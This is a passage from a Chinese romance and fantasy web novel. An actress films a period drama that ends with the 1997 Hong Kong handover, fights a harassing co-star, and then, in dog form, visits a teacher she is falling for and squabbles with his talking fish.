他紧紧贴在如真身后,手指缠着如真的手指,在钢琴键上交缠,他问她为什么这么高兴,凑近她的耳朵,一对恋人耳鬓厮磨。
“卡!”
夏焰从邹城的怀里扭身转出去,没有一点留念,冲出片场。
穿过帘布,撞进男人怀里。
“你怎么在这!”她掩不住地惊喜,不等林砚之开口就拽着他的胳膊一起逃走,直奔停车场的黑色小轿车。
她把他推进去,接着也坐进车里。
夏焰用手把头发全部向后掀,露出光滑的额头,紧紧闭上双眼,皱着鼻子,做出壮烈赴死的表情,嘴角却忍不住地升起。
“我准备好了!来吧!”
她闭眼在黑暗里不清楚时间究竟过去了多久,久到她抬起的手臂都有点发软。
明明他的气息近在咫尺,却迟迟没有落到她的额头。
夏焰试着睁开一只眼睛,想看看他到底在干嘛。
却听到他说:“必须是我的吻吗?”
25. 情不知所起
“别人不行吗?”
夏焰呆呆地望着面前的男人,看他怎样一点点靠近,看他怎样一点点吻上她的嘴角。
别人可以吗?
她不知道。
她坐在钢琴前,身旁的男人侧头轻吻她。
夏焰一动不动,听见导演再次喊停。
“卡!再保一条!两位能不能有点感情?”
邹城向导演耸耸肩。
“导演,我可是尽力了,这位完全不会回应我。”
夏焰看着他夸张地用力抹嘴巴。
导演叹气,让他们给点感情。
不知道从哪里掏出本《演员的自我修养》,放在钢琴架上,让他们俩认真学习。
夏焰在导演发出开拍的指令后继续开始弹琴,看着架子上的《演员自我修养》弹奏。
她不会弹琴,只在电影开拍前,学了两个月,夏焰学东西很快,这段时间练习下来动作已经初具雏形,不需要替身,自己就能完成这些钢琴镜头。
莫扎特的《欢乐颂》。
只有学了一段来回弹,然后夹杂着几句《小星星》。
“不是我也行吗?”
夏焰低头看着手指在钢琴键上跳跃。
“别人的吻也行吗?”
夏焰失手弹错了一个音,出现一个极低的音调,带着她往下坠。
钢琴键上出现另一双手,身旁的男人加入她的合奏。
她甩甩头,让如真重新占据她的身体。
如真侧头对男人微笑。
男人也对她笑。
“你弹得越来越好了。”
他的笑容更深,但不说话回应她的夸赞。
男人很少告诉如真关于自己的事。
如真至今不知道他来自哪里,只知道他的家乡有一座紫荆花雕塑。
男人名唤归鸿。
归家的鸿雁。
他们在钢琴曲里幽幽对视,如真羞垂眼,男人倾身吻上她的脸颊。
他们对着满园春色私定终身。
手指尖弹奏的音乐催发一朵朵迷人的鲜花。
那小小的黄色蝴蝶又飞进花园,穿过一朵朵玫瑰,茉莉,绣球花,垂在它们娇嫩的花瓣上。
那只从如真手心飞走的黄蝴蝶,又翩翩飞回她的手心。
音乐戛然而止。
如真捧起黄蝴蝶,这次她没有用手把它拢合在两个手掌间。
她只是手心向上,虔诚许愿,希望蝴蝶在她的掌心久久停留。
“如真,你真的抓到蝴蝶了吗?”
如真耳后的头发随着她低头的动作垂到面前,挡住她的表情。
“如真?”
如真抬起脸望向母亲,母亲身后的阳光太过刺眼,让她看不清母亲的脸。
她下意识想闭眼,却舍不得阳光的明亮。
就这么直视天上那遥不可及的太阳。
“举目见日,不见长安。”
男人的声音传进她的耳朵。
“那是真的吗?”
“什么?”
如真抬抬下巴指向太阳。
“你为什么觉得它是假的?”
“我觉得冷。”
“那你觉得我是真实存在的吗?”
如真眨眨眼,太阳光刺激她的眼睛分泌出两行泪水。
“我不知道。”
“那你呢?你是真实存在的吗?”
“我?”如真迷恋地看着太阳,听见他说的话发出嗤笑,“我不知道。”
“如真,我要走了。”
“噢。明晚见。”如真不清楚他的声音到底来自何处,又或许散落在她身边每一个地方。
“等你再做梦的时候,我们再见面。”
声音消失不见。
一切声音都消失不见。
如真藏在真空的花园一角。
永远不会凋谢的假花,不会歌唱的百灵鸟,连天边的太阳也是假的。
只有落在手心的蝴蝶……
“如真,你真的抓到蝴蝶了吗?”
如真猛然低头,掌心空空如也,只有一颗泪珠被她接住。
“醒醒,如真。”
“醒来吧,我的女儿。”
如真听见女人的抽泣,断断续续地呼唤低语。
“如真…如真…如真……”
如真把脸贴在母亲的手心,比阳光还要温暖。
“妈妈。”
“如真!来人啊!快来人啊!看看我的女儿!”
如真睁开眼睛,首先恢复的是听觉,接下来才是视觉。
她看见床前的女人紧紧抓住她抬起的手。
女人的脸上充满陌生的皱纹,一头苍白的头发找不出曾经乌黑秀美的样子。
匆匆跑进房间的父亲,身旁一个没见过的女人,像年轻时候的母亲。
如真朝她伸手:“阿妈。”
发出的嘶哑声音让所有人愣住。
床前的女人抽泣着,拉过她的手,不停地亲吻。
“真真,妈妈在这。”
一别经年。
如真做了好久的梦,她说不清楚,究竟是美梦还是噩梦。
原来她没有成为剑桥的老师,没有在课上给学生讲过诗词,更没有和总理握手。
但她真的坐上一艘开往中国的邮轮。真的踩上那片敦实富饶的土地,她日思夜想的故乡。
然后带着美梦回到家里一睡不醒。
母亲熬白了头发,哭瞎了眼睛。
无数次呼唤她的名字,撕裂了喉咙。
曾经英俊的父亲变得大腹便便,妹妹磕掉的牙齿早就重新长回,奶娘在去世前还挂念着如真,一直喊她回家。
如真今年已经三十五岁。
睡得真够久的,她把这辈子的梦都做完了,泪也流干了,从此以后再也不做梦了。
如真没法再做的梦全都交给夏焰。
夏焰觉得自己时常被困在梦里,趴在桌子上小憩,听见导演宣布邹城杀青,祝他杀青快乐。
她想抬起头来,跟着欢呼两声送走邹城。
却始终抬不起头来,好像被什么东西压住脖子,她光怪陆离的梦,缠着她无法脱身。
直到有人摇晃她的肩膀,叫她的名字。
“夏焰。”
夏焰却觉得对方叫错了名字。
“夏焰!”
夏焰意识到声音的主人是谁,心脏突然狂跳不止,奋力从梦里的如真手里抢过柳枝。
猛然抬头的夏焰眼前还闪着黑点。
眼前的林砚之不太真实,她用手指点点他的鼻尖。
男人露出惊讶的神情却并不闪躲。
他反握住夏焰的手腕。
“你还好吗?”
夏焰茫然地点点头。
好。
那颗痣又偷偷露出来,夏焰才发现林砚之嘴角绷紧。
他问:“你还需要吗?”
他问她是否还需要一个吻。
夏焰面无表情地盯着他嘴角的那颗痣。
林砚之不自在地抿了下嘴,把痣藏进阴影里。
替夏焰做出决定。
“今天就不了吧,试试看,不是我行不行。”
夏焰的脑袋一片空白。
她看着林砚之离开时翻飞的衣角,像那只悠然离开的蝴蝶。
正如同那句“我挥一挥衣袖,不带走一片云彩
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。”
如真终于如愿坐在康河的柔波里,柔软的风拂过她的秀发,仍然秀丽却多出几根白发。
此时她已经四十岁。
再也没做过梦。
当年的医生已经老态龙钟,他亲吻如真的脸颊。
“亲爱的,完全不做梦,也不算一件坏事。”他懂得如真的不安。
如真点头轻笑:“也不是完全不做梦,我的梦现在出现课本里,在一句句诗里。”
如真开设诗词课,教给学生古今中外的诗,一个个遥不可及又近在咫尺的梦。
她还是最喜欢中国诗词。
含蓄的,豪迈的,悲伤的,快乐的,留恋不舍的。
她自己也写诗,但是一句也没发表过。
她笔耕不辍,又是三十年。
“杜老师,我们想邀请您回国一起去见证香港回归。”
如真此时已经七十,家人已经陆续离世,只留她一人在人世间漂泊,她有些疲惫了,决定把她的最后年华留在故乡。
“这是在做什么?”如真指向墙上的几幅设计图,向身边的人询问。
“杜老师,这是给香港回归的献礼,这几幅都是选出的优秀设计稿。”
如真戴上老花镜,一张张认真的看过去,最后停留在其中一张设计图前。
她豁然地笑了。
“我喜欢这个。”她用手轻轻一指,突然展现一点羞怯的小女孩情思,转瞬即逝。
“我也喜欢这个!”同行的女学生笑着抱住如真的手臂,亲昵的靠在她的肩头。
“如果选出来了,你要告诉我,选的是什么。”
如真没有投票的权利,她迫不及待地想知道答案。
一个月后她真的收到了回复,一个年轻的警务员告诉她,选的正是她指的那副设计图作为最终设计。
如真笑着戴上眼镜,发现面前的男人正是梦里出现过的那个军人,他答应如真一定会告诉她那个雕塑在哪,他遵守了他的诺言。
如真笑着流泪,把周围人都吓坏了。
“年纪大了,就是想的多,不碍事。”她反过来安慰大家。
1997年7月1日,香港回归祖国。
五星红旗冉冉升起,夜空中百朵烟花齐齐绽放,只为庆祝这一时刻。
如真同返回祖国的华人华侨坐在一起,在礼堂参加晚会。
台上的主持人介绍着下一个节目。
童声合唱《七子之歌》。
同时从舞台后缓缓走出一个男孩,看他大方得体端坐在钢琴前,抬手在钢琴键上只等开唱。
主持人向大家介绍。
钢琴伴奏:柳归鸿。
天真稚嫩的童声响彻礼堂,动人的钢琴曲拨动着在场每个人的心。
如真流泪了,像孩子那样不知所措地哭。
是天真无邪的童声引她入梦吗?
她一步步踩在鹅卵石上,小心跳过草地,走到花园。
这里已经被荒废了。
空无一人的花园不再有花生长。
如真的手在湿润的泥土里翻找,找出一截还带着金粉的蝴蝶翅膀。
她把蝴蝶放在掌心,又把手掌凑到面前,呼气一吹。
那半截翅膀像死而复生那样重新起舞,却只能向泥土的方向坠落。
快要坠地的时候被人一把捞起,他向上一挥,蝴蝶真的复活,向天空飞去,去追逐苍白的云,自由的鸟。
万物复苏,百花齐放,如真站在花园的正中央,被百花仙子围绕,闻到许久未闻的花香。
她笑着招手。
直到恋人贴近,她在他的耳旁低语,她要一句句的告诉他,她怎样写出这些诗词。
26. 贱人吃我一拳
夏焰微微低头去吻怀里的花,没闻到花香,只闻到包装纸里的花泥味,暗自惊叹自己的嗅觉什么时候这么好了。
“杀青快乐!”沈盛招呼着大家来切蛋糕。
导演叫大家站在一起,来一张大合照。
夏焰搂住导演的胳膊,笑着面对镜头。
“还有谁没来!别吃了!拍完再吃!”导演笑骂还在吃蛋糕的小演员。
小妹妹边跑边擦嘴:“来了来了!”
夏焰往导演那边挪动,想要给她留个位置,却被另一个人插空站进来。
“你怎么还在这?”夏焰微不可察地皱眉。
“怎么?拍大合照不需要男主角吗?”
邹城笑着面对镜头,从牙缝里挤出“男主角”三个字。
虽然被称为男主角,但是他的戏份还不到女主角戏份的四分之一。这部电影完全是围绕着夏焰饰演的如真展开,所有的角色都要为她服务。
公司把邹城塞进来的时候告诉他,演完这部电影从此以后就是亿万少女的梦中情人。
谁知道这一举动惹得导演不爽,大刀阔斧砍去原定男主角支线,并且告诉邹城,要的就是这种神秘的朦胧美。
导演这种带着倔强脾气的反抗,让夏焰崇拜不已。
“拍都拍完了,你怎么不早说,有想法早提啊,不是一开始就说过欢迎大家提意见吗!现在才来说想多加点戏份,这咋办?要是融入不进去不显得突兀吗?要是被观众看出来了整个片子不就废了吗?”
导演蒋文君,个子不高,留着一头干练的短发,三七分,听到想听的就把耳边的头发甩到另一边,听到不想听的就歪头盖住一半的脸。
夏焰用勺子挖蛋糕一口口送进嘴里,看邹城的经纪人正在和导演你一言我一句的讨价还价,邹城本人两手一揣,事不关己的样子十分欠揍。
她看导演头发一甩闭口不言,知道一场辩论终于降下帷幕。
邹城经纪人轻声叹气,拍拍邹城的肩膀告诉他自己已经努力了,邹城却像拍脏东西一样在经纪人拍过的地方重新拍打。
然后晃荡着步子走向夏焰,流里流气的样子令夏焰警戒地瞪大眼睛,看他到底想做什么。
他伸手想要抽出夏焰手里的勺子,却不料勺子被夏焰紧紧捏在手里,纹丝不动。
到底想干嘛?
夏焰像看傻子一样看着面前的傻子掰她手里的勺子。
“你干嘛?桌子上还有。”
邹城尴尬收手,揉揉鼻子,装作轻松的样子,撑着桌子歪嘴一笑:“接下来我们也要好好相处噢好搭档。”
夏焰感觉自己的苹果肌正在不停地抽动,完全无法控制。
“再见。”他朝夏焰挥挥手。
夏焰被奶油糊住嗓子一时难以下咽。
“呵呵,再也不见。”
她没能如愿。
又和他一起站在摄影机前。
跳动的右眼皮更让她心烦意乱。
烦。
身边的人烦。
心里的人也烦。
她的手机屏幕亮了又熄,一直没收到来自林砚之的讯息。自从那天一别,他们俩个再也没有联系。
没有变成小狗就不需要联系他,他也没有理由联系夏焰。
他就静静躺在夏焰的列表里,在联系人的第一个位置久居不下,十分霸道。
摄像机对准台上参与游戏环节的两人,要把男女主角的暧昧含糊展现的淋漓尽致。男方需要维护粉丝,所以暧昧的界限要划分清楚,但又不能太过冷漠,让之后电影的粉丝为难,不过他怎么做都行,自会有人用春秋笔法为他塑形。
而台上的女主角就不是了,没有人会为她捧场,只会放大她每一个动作细节。
夏焰不自然地笑着向后撤退一步,想要闪躲邹城不断靠近的脸,她用嘴叼着小纸片,等着邹城把嘴边卡纸里面粉传到她这里。
她告诉自己不要躲,身体反应却先她一步,往后仰着身体。
面前的男人却一把抓住她的肩膀,头一歪,面粉陆陆续续落进她的纸片里。
她正垂眼专注地盯着面前的纸片慢慢堆砌小山,邹城在这时候发出一声嗤笑,喷出的鼻息把面粉打散,打在夏焰的睫毛,鼻子上。
惨白的面粉贴在她脸上像是马戏团表演用的劣质粉底。
“我靠!笑死我了!斗鸡眼啊你!”邹城吐掉嘴里的卡片突然拍腿大笑。
他的动作引起嘉宾的注意,夏焰的模样又引发一阵哄笑。
夏焰用手接住嘴里的卡片,仍然笑着,仔细擦去鼻子上的面粉。她有些庆幸自己化了妆涂了粉底液,没让她在镜头前红脸。冰凉的手指捏住发烫的耳垂,她低头不好意思的笑。
不能生气。
这样会被人说玩不起。
邹城跑到台前对下面坐着的工作人员喊道:“这个记得要剪掉!”他指着夏焰。
主持人出声调整节奏,邹城接过工作人员的纸,低头在夏焰的脸上用力擦拭。
夏焰笑着躲开。
再忍一下。
整整四个小时的拍摄终于结束,夏焰坐在化妆镜前任由化妆师在她的脸上搓搓揉揉帮她卸妆。
化妆师姐姐半蹲着,偶尔站直身体,夏焰才注意到她宽松的衣服下面微微隆起的小腹。
她探究的目光被对方发现,女人拉过夏焰的手贴在她的小腹。
“这是我的小宝宝。”
夏焰不敢动作,手轻轻贴在女人的肚子上感受着脉搏的跳动。她不知道是自己的心跳传到手心还是那个肚子里的孩子心脏跳动与她的心脏发生共振。
夏焰让女人坐在座位上,怕她累到。
“没事的,我月份还小不觉得辛苦。”
“我妈妈也说怀我的时候不觉得辛苦,突然一下就长大了。”
她们俩个笑着打趣道。
“什么好笑的笑得这么开心?”
瘟神一样的邹城又出现在面前。夏焰忍不住翻了个白眼。
“你坐吧。”化妆师站起身来给他让座。
邹城毫不客气地坐下,紧靠在夏焰身边。
“帮我倒杯水好吗?”他对化妆师说。
“你自己没手没脚吗?没看到人家怀孕了吗?”
听到夏焰的话邹城装作惊讶地看向化妆师,从头到脚看一遍最后目光落到她的肚子。
“早说啊,那还来工作干嘛?回去休息啊!”
他咄咄逼人的语气让化妆师有些难堪,拿过他面前的杯子就往外走。
夏焰也想要跟着出去,却被邹城拉住手腕。
“没想到你的忍耐力居然这么强了?”他夸张地张大嘴巴,“我还以为你会大发雷霆,给我一拳。”他侧过脸对准夏焰。
“你不是会打拳吗?你拍电影用没用替身啊?”
夏焰甩开他的手,轻轻扭动自己的手腕。
他撑着
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座椅扶手站起身来,走到夏焰身后。手抚过夏焰的肩头,他的气息靠得极近,他说:“来找我切磋切磋。”
接着朝夏焰的耳朵吹气。
夏焰拽过他放在自己肩头的手臂使劲一抽,一个过肩摔把他放倒,狠狠摔在瓷砖上。
邹城被吓得表情狰狞,痛的意识还没追上大脑,就被夏焰拎起衣领又是一拳,一拳接着一拳打在他的颧骨上,夏焰怒火难消,只有把力气消耗掉才能控制住失控的情绪。
“啊!”门口传来尖叫声,水杯落地。
紧接着是沈盛的怒吼:“夏焰!住手!”
夏焰立即止住拳头,没让它再次落到男人的脸上。
化妆师把俩人拉开,看到躺在地上的男人鼻血直流,颧骨高高肿起,恶狠狠地盯着夏焰。
夏焰再次举起拳头警告他。
沈盛把门关紧,不叫旁人进来。她扶起邹城一个劲儿地向他道歉,低声下气地看他脸色。时不时穿插着骂夏焰两句好让他消气。
夏焰不服气,转过身不去看他们。
不管沈盛怎么说都难消邹城怒气,他一言不发目眦欲裂。
夏焰不注意被身后人用力抓住头发向后疯扯,邹城疯了一样用另一只手用力抓夏焰的脸,她没躲过被他抓了两道。下一秒反手握住他的手腕,借力翻身过来,手掌用力劈去,邹城吃痛撒开手,还想去拽她的头发,夏焰迅速一脚踹向他的腰,把他踢翻在地。
“夏焰!”清脆响亮的一巴掌响起,在场的四个人全部愣住。
打人的沈盛却无助地看向自己举起的手,不知所措。
夏焰咬紧牙说不出一个字。
他们被一起带走了,邹城坚决要报警,他的经纪人提出私下解决,他指着自己的脸大骂,问她想怎么解决!
夏焰第一次在审讯室过夜,只能躺在冰冷的板凳上。她死死扣住自己的手心,直到感觉到疼痛才松手。
她感到后悔。
不是因为打架斗殴进局子后悔,是因为看到沈盛失望的表情后悔。
为什么不能控制一下情绪呢。
这一刻无比希望自己有高高在上的权力,没有人敢冒犯,不需要使用武力就能解决问题。不用和讨厌的人争得脸红脖子粗,可以体面地笑着,不用局促地讨好别人。
夏焰把头枕在胳膊上看着天花板一夜未眠。
天刚蒙蒙亮,沈盛叫来导演保释她,没敢告诉夏焰母亲。
导演语重心长地拍拍她的肩膀,希望她在电影下映前都别再出事。
夏焰被送回家,沈盛叫她好好休息,晚点接她去医院给邹城赔礼道歉。
她缩在被子里,保姆为她晒过的被子暖乎乎地包裹着她的身体却并不能让她感到温暖。
她侧身,鼻梁旁的抓痕此时才开始隐隐作痛。痛得掉出眼泪,流过伤口更是火辣辣的疼。
夏焰抽泣着,想要给妈妈打个电话,又迟迟不敢拨通。她躲在被子里嚎啕大哭,眼泪一滴滴砸在手机上。
她哭的太过伤心,没注意到手机发出的短暂震动,直到手机里传出一声问候。
“夏焰?你怎么了?怎么在哭?”
夏焰捧起手机,闭紧嘴巴,把手机放到耳边,听他的声音:“你怎么了?”
夏焰忍着不发出抽泣的声音,眼泪却仍然一颗颗落下,从她的下巴滑落,掉进手机里,被电话那头的人接住。
他说:“别哭,别哭,我在这。”
27. 亲亲,这边需要一个亲亲
“呜呜呜汪汪汪汪汪……”
夏焰坐到林砚之家门口,扯着嗓子嚎啕大哭。
把楼道的声控灯喊亮几回。
哭累了也没人来给她开门。
她疑惑地凑到门前,用鼻子嗅嗅,分明闻到他的味道。
又抬起爪子在门上用力拍拍,听到敲门声传遍走廊。
竖起耳朵听到脚步声从远处传来,夏焰立即扭转身体把屁股对准大门,趴下身体,一只爪子举过头顶,在地上沾水写字。
救我,亲亲。
然后歪倒装死。
脚步声离得越来近,夏焰却没看到任何人影出现。
直到听到锁门的声音,夏焰才知道原来是楼下的人回家。
她坐在门口等啊等,等到毛茸茸的屁股都被寒气袭击,她站起身来蹦蹦跳跳,试图驱散寒冷。
天色越来越暗,夏焰透过楼道窗户才发现外面淅淅沥沥下起小雨,分明还是上午时间,天空却乌压压一片,前所未有的黑。
她趴在窗户窗户边上,蹭了两爪子的白石灰。
歪歪扭扭的坐回门口,斜倚着大门,此刻要是爪子里再有一个馒头就更像是无家可归的流浪狗。
“汪汪汪汪汪汪汪汪~”
小白菜啊地里黄啊~
真是酒不醉人人自醉,醉把佳人成双对,咦?前面怎么有两个一模一样的帅哥,还穿着一模一样的衣服。
看起来像林砚之。
等一下。
就是!
夏焰拿出十余年演戏经验,立即倾身在地上翻滚一圈,刚好滚到林砚之的鞋边,爪子还不忘记往上指着刚才沾水写的四个字。
她抬眼发现离字有点远,怕他发现不了,又往字那里挪动屁股,彻底瘫倒,头一歪,吐出舌头肚皮朝上,面对着林砚之。
紧闭着眼睛装死,直到感受到他的气息越来越近。
直到快要贴到她的肚子。
“亲亲,救我。”
林砚之从他这个方向读出来,语气像是某宝客服。
夏焰无语地睁开眼,被他凑近的脸吓一跳,又把眼睛闭上。
一双大手把她抱起,抱进怀里,夏焰刚在地上滚得起劲,把身上滚得脏兮兮全是灰。
林砚之把她抱起来抖抖,像拍衣服上的灰尘一样轻拍她的后背还有耳朵。
夏焰爪子扒在他的肩膀上,把他的白衬衣拍出两个黢黑的爪印。
她连忙抬手,装作无事发生的样子,把脑袋贴在他的侧颈,那里脉搏有力地跳动。
林砚之鬓角的水珠顺着侧脸掉到夏焰的鼻子上。
下雨了,他没带伞吗?
夏焰撑起身体和他对视,男人的头发全被浇湿,温顺垂下,挡住部分额头,让他看起来年轻了很多,最主要的是多了几分难以察觉的脆弱。
究竟谁才是湿漉漉的小狗。
脏兮兮的小狗肚子贴在湿漉漉的男人胸前,发现他的呼吸还没平复。
“你是跑着来的吗?”她把爪子贴在男人的鼻子上,留下一个灰灰的印记。
林砚之抬起下巴轻点小狗脑袋。
他说:“我就知道你在这里。”
他单手抱着夏焰,开门回家。
“你今天不上班吗?今天是周一。”夏焰一落地就在客厅里兴奋地绕圈,这里翻翻那里闻闻。
没有任何的改变,也没有除了林砚之以外的其他的味道出现,只有鱼缸里的尼莫在散发一些腥味。
她把爪子伸进鱼缸,搅弄鱼缸里的水,想要唤醒睡得天昏地暗的尼莫。
“海啸!是海啸!”尼莫被突如其来的海底巨浪惊醒,抱紧它最爱的珊瑚床,想要和它同生死共进退。
“是我!”
尼莫仰头,才看到突然出现的小狗。
“你放学啦!上学第一天开不开心?”
“上学?我去哪里上学?”
“你不是去上小学了吗?比起读幼儿园的时候待在学校的时间更长噢。怎么这么久啊?”
“我走了多久啊?”
“一天?或者是一年?我不知道。我已经睡了好几觉了都没有见你回来。”
“大毛还来找你,不仅是大毛,还有你的狗子狗孙,都要来找老大,呵呵,你也太不地道,怎么光把地盘打下来又不管它们。”
夏焰猛然惊醒,原来它们真的把她当做老大,内心突发愧疚,不知道以后该怎么面对它们。
一个失败者。
到底该怎么做武林盟主,狗界老大。
尼莫看她慌张的样子及时安慰道:“大毛姐先帮你代为管理啦,而且我告诉它们光有力气是不行滴还要有才智,所以你去上学了,就像是孙悟空出海拜师学艺,等回来以后带领它们打上凌霄宝殿哈哈哈哈哈。”
夏焰跟着它笑。
林砚之把夏焰抱到浴室,给她打了盆热水擦身体,没用浴缸,怕她受凉。他动作很快,一只手抓住夏焰挣扎的爪子,另一只手用毛巾飞快的搽拭她的脸蛋还有身体,爪子是重点对象,被他按在盆里洗了几遍。
“你看脏不脏。”他指着盆里的黑水对怀里的夏焰说。
夏焰不置可否,一言不发,仰着头钻进小方块浴巾里,等林砚之帮她擦干。
又恢复原有的光彩,夏焰翘起尾巴走在鱼缸前,借着鱼缸反射看着自己的样子,乐不可支:“不错变成小狗了也是狗中翘楚。”
尼莫呆呆望着她,搞不懂她在干嘛。
“你挡着我看电视了。”
“你少看点电视行不行都要近视眼了。”
和尼莫斗嘴,夏焰久违地感到轻松,她故意挡在尼莫面前不许它看电视。
“小艺小艺,关机!”
“收到。正在为您……”
“什么!小艺小艺开机!”
“好的。正在为您……”
“关机!”
“开机!”
收拾完一切的林砚之正擦手走出浴室,就看到家里的一狗一鱼在争吵对峙,电视机正一闪一闪不停关机开机,外面雷声爆开,他突然打个寒颤。
林砚之把总开关关了。
世界终于安静了。
“来吧。”
林砚之把夏焰抱到沙发上,给她穿上一件新的小马甲,上面是胡萝卜的图案,夏焰低头闻到和林砚之一样的洗衣液香味。
林砚之呼噜两下她的脑袋,夏焰甩甩脑袋觉得痒痒的。
他看着她的动作笑,等她乖乖坐好,又轻轻地捧上她的脑袋。
“准备好了吗?”
准备什么?
夏焰疑惑,爪子比脑袋反应快,先一步挡住林砚之靠近的嘴巴。
他要亲我?
林砚之抬眉有些不解:“你不需要吗?”
他突然意识到什么又把眉毛拧在一起,质问道:“还是说不需要我?”
强硬的态度让夏焰打心底佩服,不愧是老师,不给对方任何可以反驳的机会。
“老师,能不能看下我的卷子?我真的很努力地复习了!”
学生小狗狗举手问老师。
林老师态度冷漠:“没过就是没过,现在再来问成绩倒扣五分!”
小狗狗晕倒。
夏焰暴起,以爪劈林首,迅速跑出他的包围圈,把上半身挤进沙发底。
“要你亲的时候不亲!不要你亲的时候你要亲!你巴不得把我丢回去!我吃你的喝你的还睡你的让你烦了是不是!好了!我会给你钱的!”
她的脑袋缩在里面,汪汪汪汪叫个不停。
林砚之在外面拽住她的后腿,把她往外拉,以
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为她又被卡住。
“你放松,我把你拉出来。”
夏焰一脚踢开林砚之的手,力气很大差点让他歪倒。
夏焰怕他为了让她变回人形,趁她不注意偷亲她的屁股,她疯狂往里爬,把屁股尾巴都挤进来。
林砚之跪在地上伸手在沙发底去拉她,一伸手就被夏焰用爪子打。
“你先出来!”
“我不!”夏焰趴低身体,变成一片薯片,在沙发底穿梭。
她看林砚之站起身来,半蹲着想把沙发抬起来,有些紧张的盯着他的手指,不明白他怎么有这么大的力气,是不是天天抬沙发健身。
门外响起的门铃救了她的狗命。
走进来的人一双坡跟鞋,立在门口,不往里走。
夏焰悄悄探出一个脑袋,看到林砚之挡住了对方。
“林老师,我来帮他拿资料,他在楼下等我。”
“好,稍等。”
林砚之往里走,低头看夏焰,夏焰又把脑袋缩回去。
夏焰在黑暗的沙发底竟然觉得有些冷,把自己缩成一团,尾巴扫来扫去,碰到另一个毛茸茸的东西。
她心下一紧。
不是吧,林砚之,你家里有大黑耗子啊?啊!
她往上一蹦,撞到沙发发出一声闷响,痛得她龇牙咧嘴。
尾巴把那东西扫得更近,夏焰才发现是团毛线,是毛线织的围巾。
她想起那条被她嫌弃的围巾好像是被她塞进了沙发底。她把围巾重新围在自己的身上,暖乎乎的就是有点霉味。
不过她不在乎。
她围上织满蝴蝶结的粉红围巾,又从沙发底探出脑袋。
“嘿嘿,你看。”
一团比身上围巾还要柔软的大棉花团子正用鼻子贴在夏焰脸上。
“燕燕!我好想你啊!”
夏焰被豆豆吓一跳,把脑袋往后缩,豆豆用力蹬腿要把脑袋塞进去。
“我好想你啊!”
“我也想你豆豆!但是你不能进来!会被卡住!”
豆豆听不见夏焰的警告,还是一个劲儿的往里冲,眼看就要把大脑袋挤进来,被它的主人喝住:
“豆豆!你干嘛!”
豆豆转身向简阳吐舌头:“妈妈!”
林砚之把资料放下,抬起沙发,夏焰踩在他的拖鞋上扒着他的裤子。
“哎呀,好久没看到你了!豆豆很想你呀。”简阳摸摸夏焰的头,夸她的围巾好看。
林砚之把她抱起,捡起围巾一角若有所思。
夏焰把围巾解下来示意他低头,自然地挂在他的脖子上。
然后爪子拍拍他的嘴唇:
不要亲亲。
她趁他愣住的几秒翻身下地,想要给豆豆一个热情的拥抱。
门口却出现了许久未见的丁丁。
他不停大喘气像是爬楼梯上来的,他和林砚之打过招呼,接着看向简阳:“你没带手机,这么久没下来,我想着上来看看。”
丁丁把手机递给简阳,简阳自然地接过手机。
什么时候这么熟了?
夏焰把脑袋陷进豆豆柔软的毛毛里。
“他们两个处大象啦。”头顶的尼莫不知道哪里学来的一句海南口音。
夏焰挠挠下巴还是不敢相信,直直地看着丁丁,丁丁感知到她的视线发现靠在豆豆身边的夏焰。
“好久不见啊!小宝宝!”他大跨步走近,一把抱起夏焰,“来!香一个!”
响亮的一声贴在夏焰额头。
“怎么了?”丁丁手里的小狗僵住了,他向林砚之求助,被对方的眼神吓住。
“怎么了!”
他看看手里的狗,又看看对面的林砚之,又看看手里的狗。
“到底怎么了!”
28. 林老师有恋狗癖
“我一直觉得你林老师有恋狗癖。”
简阳一手拽着魂不守舍的丁丁,一手拎着恋恋不舍的豆豆,把他们往门外拽。关门前在丁丁耳边说的悄悄话被夏焰收进耳朵里。
林砚之和夏焰大眼瞪小眼,互相瞪着对方不说话,一条粉色蝴蝶结围巾环绕着两人,尼莫在鱼缸里为他们唱背景音乐。
夏焰用余光看着它左扭右扭,然后鱼鳍捧脸,一脸羞涩。
“ohmylove~”
“咱们结婚吧~”
“我想和你拥有一个……噗什么东西?你丢了个啥进来?差点砸死我!”
夏焰在手边抄了个重重的东西用力一抛,抛进鱼缸里让尼莫闭嘴。
和水面碰撞发出巨响,他们俩一同转头看向鱼缸,林砚之皱眉想要看清楚是什么东西,还没等他看清楚,那头的尼莫倒是抢先一步游到跟前,仔细辨认然后夸张大叫:“天啊!老兄!她把你的时间扔进来了!”
夏焰立即两个爪子捧住林砚之的脸,让他转头看她。
“嘿嘿,没事没事。”
“表啊!表!表!”
“没事没事。”
夏焰咧着嘴心虚地对他笑着,把鼻子蹭到他的胸前,上上下下拱来拱去。
林砚之搂住她,让她贴在他的怀里,大手轻拍着她的后背,使她足够安心。
“你会变回来吗?”
夏焰抬头看他。
不要。
“要我帮忙打电话给你的经纪人吗?”
不要。
夏焰像拨浪鼓一样摇头,两只耳朵不停地扇打男人的胸膛。
“咳咳。”他单手握住小狗脑袋,把她的两只耳朵扎在一起,搂着她向后一躺,让小狗坐在他的大腿上。
“你工作结束了吗?”
夏焰点点头。
“嗯……”他装作若有所思的样子,实际上偷偷去捉她的尾巴。
夏焰也装作无所事事的样子,却把注意力全都放在自己的尾巴上,小心翼翼不让男人得手。
幼稚的捉迷藏游戏,你追我躲。
夏焰把尾巴像风扇一样甩,正得意却被男人用两只手捉住拢在手掌间。
她恼羞成怒下意识皱眉,龇牙咧嘴对他发出恐吓。
林砚之面无表情的脸上绽开一个笑脸。
夏焰还没抬手回击,就被脸上的伤口痛得一激灵。
“嘶。”她从牙缝间倒吸一口凉气,试图缓解脸上火辣辣的痛。
“怎么了?”林砚之坐直身体凑到夏焰脸前。
“谁给你抓的?”他抱着夏焰去柜子里翻碘伏和药膏。
动作轻柔,害怕弄疼她,擦上药膏还是止不住地颤抖。
林砚之又把身边的围巾给她裹上。
“你不在碘伏都没人用。”他点点夏焰的小狗鼻子。
“谁欺负你了?你收拾他没有?”
一听这个夏焰来劲了,站在他腿上,狗爪子对着空气来回挥打,给他示范她是怎么回击的。
“这么厉害?”
听到他冷不丁的夸奖,夏焰倒还有些害臊,小爪子揉揉鼻子装作谦虚的样子,其实还想多听点。
又意识到自己刚在局子里过了一夜,不仅没有引以为戒还想要得到支持表扬,不禁唾弃自己。
真不长记性。
还想惹祸几次?
她往后一仰,躺在男人的大腿上。
腿有点硬邦邦的,她两个拳头来回捣鼓,像弹棉花一样弹弹弹,终于找到一个合适的位置舒适躺下,两片耳朵坠在两边。
